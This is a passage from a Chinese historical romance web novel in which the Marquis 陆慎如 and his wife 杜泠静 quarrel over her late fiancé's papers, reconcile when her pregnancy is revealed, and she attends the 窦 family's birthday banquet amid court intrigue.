还大言不惭地要和她的避子药, 比比到底谁更厉害。 这么看来,他竟赢了。 杜泠静对此也不知道说什么好了, 但这个他期盼已久的消息告诉他,他是不是不生气了? 不过杜泠静没立刻说。 她都略作打扮了, 那自是要郑重一些告诉他。 “侯爷先去换身衣裳吧。” 他刚从外面回来,自是要换衣裳, 陆慎如不知她到底要作甚,去也顺了她。 但到了卧房里,盈壁香溢去呈了一件崭新的袍子给他。 是一件天蓝色绣万字不断头暗纹的薄袍, 陆慎如并不太穿这等浅淡的颜色,但上了身却十分贴合。 他并没多思量,但出了门,却见他的娘子不见了。 反倒是宗大总管笑着上了前来。 “侯爷,夫人请您往后花园赴宴。” 话音落地的瞬间,有一阵花香顺着风飘了过来。 男人恍然,他就说平白无故,她打扮得那么漂亮,又让他换了一身新衣作甚。 他不禁回忆到他们刚成亲的时候,就是她答应了与他圆房的那天,他让人帮她换了新衣,又让宗大总管前来邀请,邀她去了漱石亭赴他的宴…… 原来她还记得。 陆慎如心下有种莫名的酸麻感觉,本就软下来的心,此刻又不禁得一软。 “可是要去漱石亭?”他缓了嗓音。 但宗大总管却说不是,“是湖边水榭。” 换了地方。但陆慎如也没多想,吩咐了几句事,就往后花园的水榭去了。 他走过去,远远地便看见她身边为了菖蒲秋霖他们。 大夏天的菖蒲带了个帽子,又不知从哪弄了白兔来,几个人逗弄着白兔,又问她要不要抱。 她虽喜欢这些小东西,但却素来不敢亲近,连同小孩子也不敢乱抱。 今日不知怎么,竟跟他们点了头,秋霖把小兔放到了她膝盖上,她小心翼翼地默了默,兔儿极其温顺,她这才略松了口气。 陆慎如一直看着,脚步也到了水榭前。众人见他到来皆行礼退了下去。 只是人一走,那只放在她膝头的兔儿,她却不知如何是好了。 男人一眼就看出了她的紧张无措,他好笑,但面上不肯表露。 只道,“拿过来。” 谁想她是个不中用的,连兔耳朵也不敢拎,他干脆上前,揪了兔子耳朵,将兔儿放到地上,让它自己跳走。 她这才大松了口气,“多谢夫君。” 他没回应,可她却在他转身时,轻轻拉了他的袖子。 陆慎如脚步微顿,听见她在他身后道。 “我给夫君制一条腰带吧?” 腰带? 她并不擅长女红,最上手也就只有打绦子,虽比不得娘娘的手艺,但蒋竹修从前系在腰间的那些绦子,多半都是她亲手打的。 她从没给他打过,自然他也不想要跟那人一样的东西。 但她说要给他亲手缝一条腰带。 那可比绦子费力多了。 男人不由地回头看了她一眼。 “好不好?”她柔声问。 “我不缺腰带。你眼睛不好,针线活少做也罢。” 可她并没放弃这念头,“我慢慢做就是。” 她真给他做?难以想象他有比蒋竹修好的待遇。 男人看着她拉着他袖摆的手,虽不怎么信,心下却又软了几分。 下面的人来上了席面,是他惯爱的那些,他与她遵着食不言的规矩,倒也没说什么。 只不过临水柔风吹着,又时不时吹来她发间的香气,一顿饭下来,陆侯觉得自己,恐也摆不出什么冷面来了。 他给她递了块绿豆糕过去,他略一主动,她那双如水的眼眸便晶亮波动起来。 陆慎如心下暗叹自己,到底舍不得跟她真冷下去,开了口。 “夫人今日是有何事吗?” 杜泠静当然又事,但陆侯这话说完,忽的想起了一件糊涂事。 “听说窦阁老家的老太君,给夫人下了帖子,送到了侯府里面来?” 他提起的这事,也确实出乎了杜泠静的意料。 杜泠静点头,听见他道,“应是弄错了,夫人不必理会。” 可杜泠静却顿了顿。 她最初收到帖子也惊奇,但却不由想起年前宫宴那会,她独自饮了许多酒,窦阁老家的老太君经过她身侧,突然开口跟她说话,劝她吃酒不要吹风。 彼时窦家的女眷包括她自己,也都认为老太君是糊涂认错了人。可今次老太君打发人把请帖都送到了她府里来。 真是老人家糊涂弄错了? 她觉得未必是巧合,思量着同侯爷道。 “窦家下了帖子,我也收了帖子,要不去走一趟吧。” 陆慎如闻言皱了皱眉,“我们与窦家素无往来,你去了也只会平添尴尬,况我亦不便陪你去,万一有个好歹。” “我倒觉得没什么。那么多宾客的宴请,我身份又特殊,窦家小心还来不及。” 况且窦阁老是结束她父亲新政的人,父亲在青州时,时常点评朝堂,却始终对窦阁老不曾多言什么,哪怕是将他辛辛苦苦施下去的新政都铲了。 还有,三郎莫名也在窦阁老的升迁的消息上,留了多余的笔墨。 谁想她刚争取了一下,就见陆惟石脸色又沉了。 “夫人缘何非要去?劝也不听?” 话音落地,水榭静了下来,兔儿一蹬脚跳出了门槛,此间只剩下他们两人。 杜泠静想跟他好好解释一些,不想就在这时,崇平来回了一声,说魏世子来了。 饭本也吃得差不多了,陆慎如闻言,不欲跟他娘子争执什么,他们这些日已经冷了太多。 他干脆起了身,“我去一趟。” 杜泠静点了头。 前院。 魏琮亲自过来有两件事。 第一件是他的何副将亲自押那九王来京。 “前夜,他们在半路上遭遇了伏击,尚不清楚是何人所为。” 陆慎如挑眉,“人没事吧?” 魏琮摇摇头说无妨,何副将是个谨慎之人,“早已提前做了三路准备,被伏的并非九王一路。” 陆慎如也曾吩咐过,带人前来的路上一定要小心。 这会他点了头,吩咐慢些无妨,稳妥为上,见魏琮又说起另一件事。 魏琮自袖中取出一件东西来,那是个系了绳的骨雕圆牌,而陆慎如一眼看过去,认了出来。 “与细作接头图样,竟一模一样。”他问,“从何而来?” 魏琮直接道,“此物就系在那九王颈上。” 此言落下,陆慎如向后坐了坐,他半松了脊背倚在太师椅背上,目光只望向那纹样独特的骨雕圆牌。 “好。” 想来距离他知道细作的真面目,不远了…… 半晌,陆慎如说起自己这两日要去北边关防。 他说自己原本就有意想往北边调派人手,一旦京城出了状况,他调兵前来最是快捷。 但他刚刚去过西北,接着就去北部军中,难免要被人猜忌。 可这次,“是皇上开的口。”他道。 魏琮微微皱眉,“时机颇有几分巧合。” 陆慎如亦如此以为。 不过此事不太明了,两人商议着诸事,出了一趟京城。 侯府,杜泠静本想等他回来。 窦老太君的寿宴还没说定,喜事更是没来得及开口,但她强撑着等了半夜,他也没回。 她实在是疲倦不堪,一不小心就睡着了。 翌日陆慎如直接去上了朝。 朝中无甚大事,只有皇上不堪京城暑热折磨,欲去京外避暑,令宗人令兖王,安排出京诸多事宜。 窦阁老顺势提出留雍王殿下在京监国,陆慎如反对。 两方眼看着又要针锋相对起来,皇上赶忙摆了手。 “逢祺这次,就随朕一道去避暑吧。” 往年多半是贵妃和慧王逢祯陪皇上避暑,雍王彼时年岁小,也不曾监过国,多是内阁与陆侯一道坐镇朝堂。 这次皇上要带雍王一道去,除了雍王,他还准备带上三子承王。 也算是种平衡。 陆慎如与窦阁老,不约而同地都没多言。 下朝之后,侯爷往皇子所走了一趟,立在学堂外,听扈廷澜给逢祯讲课,他让人把逢祯的桌椅就就并到了他的讲桌前,这次不必再大声,逢祯也不会漏听。 陆慎如暗暗点头,心道扈廷澜果然稳妥。 但他离开的时候,又遇上了承王逢祥。 这次承王没再请太监帮忙给他找扇子,而是有人递了一匣三柄折扇上前。 递去扇子的人,不巧恰是宗人令兖王身边的侍从。 “兖王殿下听闻您丢了爱扇,虽没能找到,但暑夏难捱,便让奴才给您送了三柄扇子,您快收下吧。” “我、我不用这么多扇子,是否要分给二皇兄与四皇弟?”他怯生问,是不是要给逢祺和逢祯都分,一人一把。 但那兖王侍从摆了手,“二殿下和四殿下都不缺扇子,是给您的,您快留下吧。” 承王惶惶又怯怯,连声让侍从替他跟兖王殿下道谢。 侍从客气笑着,恭敬离去。 承王逢祥丢了扇子的小事,兖王倒是上了心。 陆慎如略感意外。 但他今日回家,没再见到他娘子在院外等他,今次也不在远岫阁院中。 前两日果然只是为了哄他,非是真待他有长性儿。 他默然换了衣裳,却也忍不住问了一声。 “夫人呢?” 崇安来回,说夫人在正院休歇,“似是有些身子不适,夫人从昨日与侯爷一起用过饭后,就没再吃东西了。” “可请了大夫?”男人挑眉。 崇安说他也问过了,“夫人道,晚间王太医要来给您换药,届时请王太医一并看诊即可。” 男人闻言,转而去了一趟正院。 自跟她冷了之后,他这几日都没再来过正院。 今日还没走进房中,便一眼看见她,坐在大开的窗下支着脑袋打盹。 他抬脚到窗下,惊起檐下的鸟儿扑棱着翅膀飞起,她并没醒,长眉微微蹙着,睡得疲惫。 丫鬟已为她盖了薄毯,陆慎如并未再进房中,只在窗下又多看了她两眼。 她最近好似都很疲累,是为何事如此累? 他思绪到此,有个模糊的念头一闪而过。 他没多想,见她实在睡得香,抬脚离开了廊下,但经过西厢房门口,却一眼看到了房中摆着的两只大箱笼。 他走进去,看见那满满两大箱的旧纸页。 “这是什么?” 阮恭就连忙过来,但他看着那两大箱纸页,略支吾了一下。 “回侯爷,这、这是夫人令小人从青州取回来的。” 他没说的太明白,可陆慎如一下就听懂了。 哦。原来这全是她的三郎的旧物。 男人目光缓缓扫过这两大箱子的旧纸页。 她嘴上说着在意他,拉着他、抱着他、与他十指相扣,可实际上,一刻不停地在为她的三郎找寻离世的真相。 如此地疲倦,随时随处地要睡着,是不是也因为没日没夜地,翻看看这些蒋氏留下来的旧纸旧迹? 男人眸中压制着翻腾的暗涌,他抿唇又看到了她桌案上。 她的桌案上,也摆了这些旧纸页,那旧纸页不同其他,上面有经年落下的笔墨点画其间。 必是她的三郎点画的,只是他拿起来多看了一眼,竟看见了上面关于窦阁老的旧事。 陆慎如一下就笑了。 难怪她想去赴窦府的宴请,原来只在书房里为那人翻找缘由还不够,就算明知是龙潭虎穴,她也要亲自为那人进去闯一闯! 他低低笑出了声来。 恰一转头,眼角扫见她醒来快步到了门前。 杜泠静亦看到了他手上关于窦阁老的旧纸。 她一慌,“惟石,我只是觉得这里面的事,有些奇怪而已。” 她要解释不是他想的那样,却见他只见指骨青筋露出,捏着那旧纸页,笑着道。 “当然奇怪了。他只在旧纸页上画了圈,你就要去,我怕你去了被人欺负,劝你拦你,你根本就不想听。” 他忽然道,“夫人为你的三郎做事,直接告知我即可,不必再找其他借口哄我了!” 他言罢,将纸页弃去一旁。泛黄的纸页在半空中无章地飘旋。 而他再不肯看她,抽身大步就往外走。 他就不该又心软,巴巴地过来看她…… 男人步子再不停留,越走越快,越走越快。 杜泠静在后面急急唤他,更小跑着追了上去。 但刚跑了没几步,忽然脚下一滑,身形踉跄起来。 她低呼,陆慎如亦从眼角看到了她跌了脚下。 他下意识地心头一跳,脚下也不由地顿住。 不过秋霖正紧跟在她身后,及时地扶住了她,“夫人……” 她没摔着,他为她不住停下的脚步,便也没再继续停留下去。 他把心一横,再不回头地直接回了外院,他径直叫了崇平。 “点人手,去北关!” 就这须臾的工夫,等到杜泠静缓过来,追去外院,他已跨上玄珀,打马离京往北关去了。 杜泠静立在门前发了恍。 秋霖见她脸色退了半边血色,慌乱地正要劝她回去歇息。只是话还没说,就见她脚下晃了起来。 * 男人这一走,一口气骋马近乎跑出了京畿,才堪堪停了一停。 黑马玄珀在驿站大口大口地饮水,一众侍卫也没想到侯爷跑这么快,烈日之下皆口干舌燥。 崇平却念着他肩头根本未能愈合的伤口,要过来为他看伤,被他摆手止了去。 奔马颠簸得伤口生疼,但这样的皮肉伤他早已不在乎了。 他素来是知道她心里只有那人的。 只是他既然知道,以前也不欲在乎,为何此时还会难受,从伤处到心头,连通着,如新长出的血肉反复被扯断一般得疼。 他突然觉得自己也是变了,变得贪了,一要再要。贪就是痛,贪就是错,贪就是自我折磨。 她是不可能真的在意他的,能嘴上说在意就不错了。 陆慎如忽的重新厘清了这件事。 他心头默然静了下来。 他今日又跟她发脾气了,还又当她的面说了重话。 她脸色发白,她神色不安,不管她是为何如此地疲累,疲累到说晚上陪他,却一转眼就睡着,他都不该说重话才是。 他再说什么也不可能比得过蒋竹修,还不如就与她好好的,何苦让她为难? 男人念及此,倏然想到了什么,顿了一下。 就在这时,有侯府的侍卫疾驰紧赶地追了上来。 陆慎如一眼看见追来的侍卫,就问了过去。 “是不是夫人怎么了?” 侍卫干咽一口。 “夫人昏倒了!” 男人吸气,接着又听见侍卫急急道。 “侯爷,夫人她……是有孕在身了!” 他说夫人有孕了,但连日得心绪起伏太大,“王太医说胎相甚是不稳!” 三句话接连落进陆慎如耳中,男人心跳彻底停了。 他指挥千军万马都不曾乱过的手,此刻颤了一颤。 下一息,他径直出了驿站翻身上马,调头就往京城回赶而去。 …… 永定侯府正院。 杜泠静倚窗下,吃了半碗药就吃不下去了,更觉身上难受得紧。 房中闷热,到了天色已暗也未清凉,连风都没有。 不想外间突然混乱了起来。 菖蒲忽然喊了一声,“夫人,侯爷回来了!” 杜泠静讶然扶着榻边起了身。 男人如踏风而来,风随着他的大步呼啦全都涌进了房中。 杜泠静怔住,男人却一眼看见了她起了身,甚至还要上前迎他。 他心口倏然一阵酸疼发涩。 都怪他,全都怪他!他怎能欺她至此?! “泉泉……” 他一步上前。 第89章 “泉泉……” 陆慎如一步上前。 他肩臂宽阔, 他怀抱炽热,他的臂膀哪怕受了伤,依然强而有力。 杜泠静被他双手拥进了怀里。 不知是否孕时心绪浮动, 她不禁得烫了眼眶,低声抽泣了一声。 只这一声, 近乎就抽在了陆慎如心口, 他心口紧缩涩痛得说不出话来了。 他怎么就没想过,她连日疲惫不堪,说要晚上一直陪他,却转眼就睡着, 是因为怀了身孕;为什么也没想过,她专门穿了鲜亮的裙子, 带了他喜欢的珊瑚头面,又邀他去后花园水榭赴宴,也是因为想告诉他这个好消息……孩子分明是他执意跟她要的,如今有了, 他却翻过去, 去计较前事, 甚至一连几日都没跟她好好说话。 他跟一个死人到底有什么好争? 房中有新煮的汤药苦味漫散,陆慎如只把怀中的人拥得更紧了。 “泉泉, 都是我不好!” 他的悔意,如同此刻抱住她的力道一般, 紧紧地向她涌来。 其实杜泠静知道,他近日为何如此。 这漫长的九年, 他在她这里受过的那些难以言说的委屈,原本他是想通通揭过,此生都不必提。 偏偏这是一根心头里的刺, 不拔出来,只有可能越扎越深,直至扎到心头最深最脆弱之处。 在他亲口说出旧事的那一天,那根刺已经令他心头血肉横飞,比肩头那一受再受的伤还重。 杜泠静轻声开了口。 “我知道惟石,心里介意我与三郎曾经的情意……” 但她这话还没说完,这个奔马赶回,紧抱着她的人就出了声。 “泉泉,我不介意了!” 杜泠静:“……” 他这哪里是不介意? 她不得不继续道,“介意也没关系。只是三郎他已经过世了,也在不知不觉中,渐渐离我远去。” 她说三郎身上的事,只剩下这最后一桩,便是他不曾告知任何人缘由就自尽一事。 她确实想要找到答案,“我想与他挥手告别,仅此而已。” 终是这件事,戳到了他心头埋得太深的那根刺。 杜泠静此刻,当先把这件事跟他说清楚。 她说完,察觉他拥她在怀的力道更重三分,下巴抵在她发顶,嗓音一贯地哑着。 “我知道了。” 杜泠静也不晓得,他是真知道,还是假知道,不过又继续跟他缓声道。 “我珍惜惟石,不知这一点,你知不知道?” 男人一路飞奔而回,带入房中的风,将房中的闷滞与药气通通吹散了。 他抱着她的手顿了一顿。 她前几日,也曾说过他在她心头重千金,说过她在意他,说过她再不会把他推开,他都没当回事。 但今次,她又说了一遍。 她说她珍惜他,问他知不知道。 男儿有泪不轻弹,更不要说是西北边关军中长大的男人。 但陆惟石却在他娘子这句话里,不禁烫了眼眶。 他欺她至此,她怎么还能一字一句、不退不缩地,说出这样的话来给他听? 其实,这婚事是他强求的,她就算是这一辈子都对他疏离冷淡,也是他应得的! 她不爱他也没关系。 男人越发拥紧了怀中的人,房中的高烛驱散开漫在门前窗边的夜的黑暗。 只是他气力比一般人不知重多少,杜泠静刚吃了半碗药,眼下被他这一抱,汤药上翻,差点吐出来。 陆慎如吓了一大跳,此刻再管不了旁的,连忙将她抱到了床边。 “难受得厉害?!” 他终于把她松开,杜泠静得以喘息,他急着取了白水给她喂了两口,杜泠静胃里的不适终于压了下来。 他又问她还难不难受,她道。 “难受也确实难受,只是侯爷的性子……” 她想起他上晌不肯听她解释的强势模样。 她这个人实在有个缺处。 她偏爱那些旧人旧物,对书对人都一样,但对新人新物便总是比旁人慢得多,可新人新物,一旦闯进她的生活里不肯离去,变成了她的旧人旧物,她就难免要有诸多宽纵了。 杜泠静多看了一眼面前这不听解释的人。 她让自己冷些声。 “侯爷这性子,爹还曾说你与我相合,如今看来,爹也有看错人的时候。” 她这话出了口,就见他脸色青白了几分。 他眉头无奈地皱着,“泉泉,你别这样说……” 此番都是他的不对,他再不会如此了。 但杜泠静没那么轻易就放了他,毕竟连他姐姐贵妃娘娘,多数时候都奈何不了他。 她仍旧冷着声看着这人。 “不知什么样的姑娘,能磨得了侯爷这样的脾性。权臣贵胄的脾气,我恐怕伺候不了几次了。” 这话说得陆慎如无奈地闭眼沉默。 他的娘子心里有气,不肯放过他,他口中发苦也没得办法替自己分说,毕竟他也没有可辩解的。 他只能道,“娘子与我,是泉水与石,谁人能磨得了我,娘子还要问吗?” 唯有滴水才可穿石。 烛火噼啪响了一声,外面虫鸣阵阵。 杜泠静心道,他还挺会给自己打比方。 但不管是滴水穿石,还是清泉石上,她方才已把该说的话都说了,不能一味地给他好脸。 她想到了另一件还没说清的事。 她干脆起了身,他立时问她要去哪,她则走去了西厢房。 这两大箱子,确实是她让阮恭从青州取回来的,三郎的遗物。 但就她这两日的翻看来说,三郎留下的,恐怕不只是旧日的朝堂事这么简单。 杜泠静提了窦阁老的事,说自己应了帖子走一趟,和窦阁老曾收束她父亲的新政也有关系。 “爹虽过世,可我总觉他未必不与眼下的朝局有关。” 她解释清了要去窦府的意图,这次陆慎如冷静着沉默了一下。 他先扶了妻子在旁坐了,自己亦跟着坐下,才道。 “关于岳父大人,蒋竹修道跟我说过一事。” 夜深了,外间出了虫叫蛙鸣,四下里静悄悄的。 但杜泠静听见这话,耳中却咚得一响。 三郎与侯爷?还曾坐在一起谈论过关于她父亲的事。 杜泠静怎么想,怎么都觉得这场景有怪怪的。 三郎也就罢了,她难以想象侯爷也能平心静气跟三郎说话。 但她没多言,只问,“关于父亲的是什么事?” 是有关杜阁老身死一事。 彼时就是在发了山洪的山中,他们借宿的山庄里。 陆慎如记得,蒋竹修来找他,说了他不会娶泉泉过门,而那晚,蒋竹修亦提及杜阁老,说阁老之死,看似天意,实则可能是人为。 他惊讶,蒋竹修先说了几点,诸如阁老本可以不走此路,却绕路前来,又说有人在山间见到过一行不知身份的人马在阁老之前经过。 他说,“更紧要的事,阁老离开青州之前,曾忧虑过,同说我不知还能不能再回青州,亲自送静娘出嫁。” 他还道,“我怕静娘也出事。” …… 陆慎如把蒋竹修的话,同杜泠静提了两句。 “岳父可也与你说过这件事?” “没有。” 父亲从未跟她说着这层担忧,反而道,原定两年后她与三郎的婚期,他会回青州来送她出门。 杜泠静愕然默了默。 父亲不跟她说,可能是怕她担心。 但彼时,三郎也未曾跟她讲过,他劝她父亲的死只是天灾意外,他陪她将父亲下葬,却将心中的顾虑与思量,告诉了侯爷。 这会杜泠静听侯爷道,“他在暗中调查,同我说了之后,我也支了人手去查此事。” 他还专程调了一队侍卫,在她身边暗暗守了一年。 彼时她并未出事,但他也好,蒋竹修也罢,都没能查到杜阁老的真正死因。他还让人找了跟杜阁老一起被山洪冲走,却失踪的幕僚许久。 这事他也告诉了娘子,“不过我身份立场特殊,那位幕僚兴许一直躲着我,多年也未能找到。” 杜泠静却听拂党众人说,曾经见过他,“若父亲身死真有异,恐只有他知道来龙去脉。我托廖先生他们,再帮我们找找。” 廖先生因朝堂有些变故,一直还未去上任。 陆慎如点头,说自己会派人从旁协助。 杜泠静则言归了正传。 “所以我想去赴窦家宴请,”她总觉得有好多事情隔着层层白雾不曾明了,“或许多走几步才能看清。” 只是她眼下的状况,陆惟石更不想让她去,目光从她小腹又转到她面上。 “过些日宫里的万寿节,你少不得要去应酬,窦家寿宴再去,我怕你身子吃不消。” 杜泠静摆手道无妨,“王太医已经帮我开了安胎药,吃几日也就安稳了。” “王太医还说什么了?”陆慎如不禁过问。 他这么一问,杜泠静忽的想到了王太医的话,抿着嘴才没笑出来。 “王太医说他虽是个专治外伤的大夫,但也曾学过许多年妇儿医理,心有抱负,可众人多不认,从未有贵人找他看过。” 杜泠静特特看了某人一眼。 “王太医说,他此番托了侯爷的福,终于也是开上安胎药了,一展宏图。” “……” 陆侯的脸都黑了。 那王老头子还敢托他的福? “之后换个太医。” 杜泠静却不肯换,“一事不烦二主,我看王太医稳妥的很,倒是比侯爷稳当。” 她是故意要跟他对着干的。 但陆慎如口中泛苦也不敢多言。 但他不想在与她一道,停留在蒋竹修的旧纸页当中,抱着她回了正房,还让人把西厢房的门关了。 杜泠静也晓得他的心思,没戳破,随他一起回了房中。 他今晚终是踏踏实实地留在了正院。 不过杜泠静一夜起了三次,三次他都立时醒了过来。到了第三次,不由地问她。 “是否身子不适,睡不安稳?还是找个专门看妇儿的太医来。” 杜泠静摇头,就让王太医展展宏图吧,顺道还能帮他治伤,一举两得。 她说嬷嬷下晌来看过她,提过有孕难免起夜多,她瞧了他一眼。 “倒是侯爷也跟着睡不好了。” 男人根本不当回事,见晚间闷热,她又不敢用冰,给她打了会扇才睡下。 夜静静的,有流萤在窗边绕了几下,扇下的风轻柔地抚在身上,他那只为她受伤的手臂,绕过来圈在她发顶,她侧翻了身,鼻尖蹭在他生了薄茧的指尖上。 这细微的、他约莫都未曾察觉的、与她之间轻触,柔柔又软软。 杜泠静背对着他微微笑了笑,扇风清凉抚身。 这个人,脾气是臭了点。 但她与他成婚这一年,不,是从勉楼算起的这些年。 他默默为她做过的事,从不曾少。 * 魏琮和年嘉来了一趟。 魏琮去了前院远岫阁,年嘉则径直到了正院里来,见杜泠静脸色不好,房中还有药气,连忙问她是怎么了。 杜泠静轻声说在了她耳边,年嘉愣了一时。 “静娘,我好羡慕你!” 她也想尽快要孩子?杜泠静怎么有点不信。 她问了年嘉一句,年嘉回道,“我当然想要,若我有了孩子,就不用同世子……” 年嘉咳了两声。 杜泠静明白过来,她还在怕与世子同房。可是不同房,孩子总不能从天上掉下来。 杜泠静这才想起来,她中了药之后,世子带伤上阵,而后李太医吩咐养伤,世子便与她约了半月之期。 如今半月之期早就过了,年嘉怎么还一副头大如斗的样子? “到底是怎么了?郡主不是胆小的人吧。”她问。 年嘉说这和胆子大小没关系,“但是世子他……” 她说不出口,“反正自那之后,他虽还要继续养伤,但伤势愈合渐快,半月之期太久,他说不能苦了我总是等他,先改了十二天,十二天后,又缩成了十天,今次更是缩短到八天了……” 再这么下去,她怀疑他要隔天,不,是天天! “我是没那么害怕了,可还是免不了紧张,”年嘉一脸发苦,“我总觉得跟他生孩子,还不如这要孩子难捱……” 杜泠静刚喝了口茶,险些呛住。 “……” 她一时也不知说什么好,不过世子行事,可真是稳扎稳打,步步向前。 但君子有所闻,有所不闻,太过细节的事,年嘉就不必细说了,她不方便知道。 杜泠静闷笑着岔开了话题,说自己前些日收上来一本陕西山川志,是前代人写的。 “这书写得颇有些趣味,但纸页多有破损,我倒不好修补。郡主不是三年把陕西的转了一边,不若你帮我看看?” 年嘉立时就把前面的事忘了,连道,“这山川之事我熟。你放心,我替你看着。原来我也有帮你这藏书大家,修书的一日。” 两人说笑起来。 另一边,陆慎如则跟魏琮提及,说北关不准备去了,那日跑马出京了一趟,就当是去过了。 “皇上近来又病了,时常召兖王伴驾,商议万寿节后去避暑的事,想来顾不上旁的。” 魏琮点头,北关与其说在侯爷权柄之下,其实更为宫中亲自掌控,他们不要太过插手,也是为臣之道。 两人又说几句,晚间四人一道吃饭,又过几日,窦阁老家老太君的寿宴到了。 陆慎如亲自把妻子送到了窦府门前。 他突然现身,一众前来贺寿的文臣雍党,全都不可思议地瞪了眼,接着又都不加掩饰地议论纷纷起来。 陆侯见状,不得不又问了自家娘子一遍。 “娘子真要去?” 他只能送她到这,两方隔着立场恩怨,又牵连颇广,他实在无法跨入窦家的门。 这会听见这些人议论之声丝毫不歇,简直要说到他面前,哼了一声。 “天下文臣一般黑。娘子不去也罢。” 杜泠静:“……” 她父亲也是文臣。 但她道,“来都来了,到了门口再退去,更引人议论。” 她下了车,男人点了崇平亲自护在她身侧进了窦府,他则负手里在门前,冷脸压得这群聒噪的文臣声音不由得小了不少,才转身离去。 杜泠静远远地,回头看了他一眼。 其实今次来窦府,她还有一个思量。 文臣武将之间的矛盾自开国至今,延续了一甲子有余,谁人都难以彻底调和。 但若是能有一些契机在里,就算不能调和,也未必就到了兵刀相见的地步。 他不得不为永定军定下的这条路,极其难走。 成王或者败寇,她都不想他走到那悬崖最边缘,在生与死之间抉择。 第90章 窦府老太君寿宴, 杜泠静上了两份礼。 一份是她作为陆侯夫人替永定侯府上的,唱礼的时候,一众前来窦府的文官面上跟吃了馊水似得, 颇为膈应。 连上面的窦阁老,都是一副大可不必的无奈样子。 这幸亏是没被侯爷看见, 不然黑着脸, 改日就让这群文臣没好果子吃。 另一份礼,杜泠静是以自己的身份,用杜氏的名义上上的。这次唱礼,众人脸色才平和一些。 她则着意看了窦阁老一眼。这一次, 窦阁老没再露出方才的无奈表情,反而略略顿了顿, 未置一词。 杜泠静让崇平上过礼,转往后面,去给那位专程给她下了帖子的老太君贺寿。 然而刚走了没多远,就见有人穿了件淡紫色绣团花锦袍的人, 看着她走过来。 是六郎。 青年渐渐褪去了从前爱说爱笑的模样, 锦衣玉冠之下, 透出几分矜贵气度来。 杜泠静停了脚步。 他一双眼睛则上下打量着她,“夫人缘何瘦了?” 杜泠静有了身孕之事, 除了告诉了年嘉,还未向外说出去。她一时没开口, 崇平却上了前,将她半挡在身后。 “蒋探花, 夫人还要去跟窦家老太君贺寿,不便多留。” 崇平冷肃着一张脸。 杜泠静略瞧过去,便知道这是谁人吩咐的。 陆惟石估摸料到六郎今日也在窦家了。 可蒋枫川岂是这么容易被打发?他哼笑了一声, 瞧向崇平。 “陆侯可真是厉害,把人看管得如此严。知道的是杜家的姑娘做了他永定侯的夫人,不知道的,还以为是成了他永定侯的囚奴。” 这话一出,崇平脸色都略略变了变,他当然不在意六郎怎么说,但却在意夫人怎么想。 杜泠静只是在想,六郎要是把他此番话,说到某位侯爷面前,不知那人要怎么回应。 他陆惟石,确实过分,动不动就禁步她在家中。只许他做,还不许旁人说? 但某人眼下不在,崇平没得替他受过,她刚要说算了,她与六郎难得见一次,何须因此吵架。 六郎明摆地站了雍王一边,往后能遇见闲聊的日子,只怕不多了。 然而她还未来得及开口,不知从哪处吹来一阵席面上的油腥味,她刚吸进半口,便觉胃中一阵翻江倒海。 她连忙用手捂了口鼻,蒋枫川却忽的向前一步,俊美的脸沉了色,指尖要扣上她的手腕。 但崇平可比他反应快多了,径直将他挡了下来。 “蒋探花。”告诫意味甚浓。 但蒋枫川再不及理会崇平,只蹙眉低头问向杜泠静。 “你有身孕了?” 他倒是一眼看了出来,杜泠静只能点了点头,不过这事与六郎无关,她只道,“你不必为我担心。” 她提及自己让阮恭从蒋家取回了两大箱子,三郎留下的旧纸页的事。 “我眼下还没什么证据,但,我总觉得三郎十分关系朝中事,亦不寻常,或许有些关系。” 她叫了蒋枫川,“若你也想为三郎离世追寻原因,不若多留意几分。” 蒋枫川微顿,之前三哥的旧友祝奉等人,也提过这事。 他说自己知道了,又想她这话,是不是在他面前,替那陆慎如开脱。 毕竟,她已怀了陆慎如的孩子…… 蒋枫川心绪复杂了一时,崇平仍挡在他面前,不让她接近她。 此刻又有附近宴客厅里的饭菜香气飘出来,他眼见着她脸色更难看了,只能同她道。 “别在这儿久留了。” 杜泠静捂着口鼻跟他点头,崇平悄然看了他一眼。 万万想不到,蒋探花竟没再说什么阴阳怪气的话,待夫人倒是贴心 杜泠静离去,转路往另一边走了。 没留意六郎在她身后,默然看了她发上的飘带许久。直到有人来请他。 “探花,雍王殿下听说您也在府中,请您过去呢。” 来人是雍王逢祺身边的人,但蒋枫川还没见到逢祺,杜泠静却遇上了这位为文臣簇拥的雍王殿下。 少年人确实生着邵氏的相貌,第一眼看去,与邵伯举还真有几分相像。但他非似邵伯举那般急躁而张扬,反倒看起来温润内敛,举手投足间,书卷气比皇族贵气,还略重几分。 杜泠静因身子不适,干脆先坐在僻静的林中小道旁休歇一阵。 少年雍王与一众文臣,就在她休歇地旁边的假山凉亭当中。 这会难得近距离看到雍王,不禁叹了一声,“难怪文人都属意他。” 崇平亦看了一眼,“雍王殿下气质得文臣喜爱,倒非是这些文臣之功,而是娘娘的功劳。” “娘娘抚养了雍王殿下许多年?” 崇平说是,“从弘启十四年,贵妃娘娘到了皇上身边,一直到殷佑五年,皇后娘娘的太子薨逝,这八年,是贵妃娘娘把雍王从一个两三岁的失恃小儿,养到少年初成。” 他说雍王启蒙,是在皇上登基之前,彼时先帝重病,京中风起云涌,回皇上根本无暇去管次子的事,皇后娘娘亦不欲雍王与太子殿下同堂进学,说过几年不迟。 “贵妃娘娘无奈之下,亲自写信给侯爷,让侯爷从永定侯府幕僚中选了一位最是耐心的先生,替雍王殿下启蒙。” 杜泠静微讶。 雍王逢祺的启蒙先生,竟就是永定侯府的幕僚。 “是哪位幕僚先生?” “正是余先生。” 余幕僚,先前在荣昌伯府闹出两子杀人一事上,替侯爷分忧不少的那位,侯爷的心腹幕僚之一。 杜泠静更是惊讶地愣了愣。 所以当年,贵妃娘娘也好,侯爷也罢,都是把雍王逢祺当作陆氏自家血脉抚育的。 可是后来,还是闹翻了。少年归回了自己的母族邵氏,亦成了与永定侯府最不对付的,那些投降文臣的期许之人。 当年贵妃娘娘与养子雍王,到底因何生了罅隙,杜泠静不太清楚个中细节,但此刻正在窦家也不好多问。 杜泠静与崇平说话的时候,不远处凉亭里面的雍王众人都下了假山,兴许是往旁处去了。 她的不适消解了些,准备再坐一小会就走。 谁想有一众脚步声突然从掩映的绿树后面,转到了这条路上。 杜泠静还没反应过来,方才假山凉亭里的少年皇子,脚步从绿树后面,落到她身前。 逢祺也没想到,路口竟就有人坐着,而他见到崇平,便知道眼前的女子是谁了—— 陆侯夫人。 两人皆愣了愣,但雍王身后几个赔笑的文官也走了过来,他们一眼看见雍王殿下立着,陆侯夫人竟还稳坐,不知谁人立时道了一句。 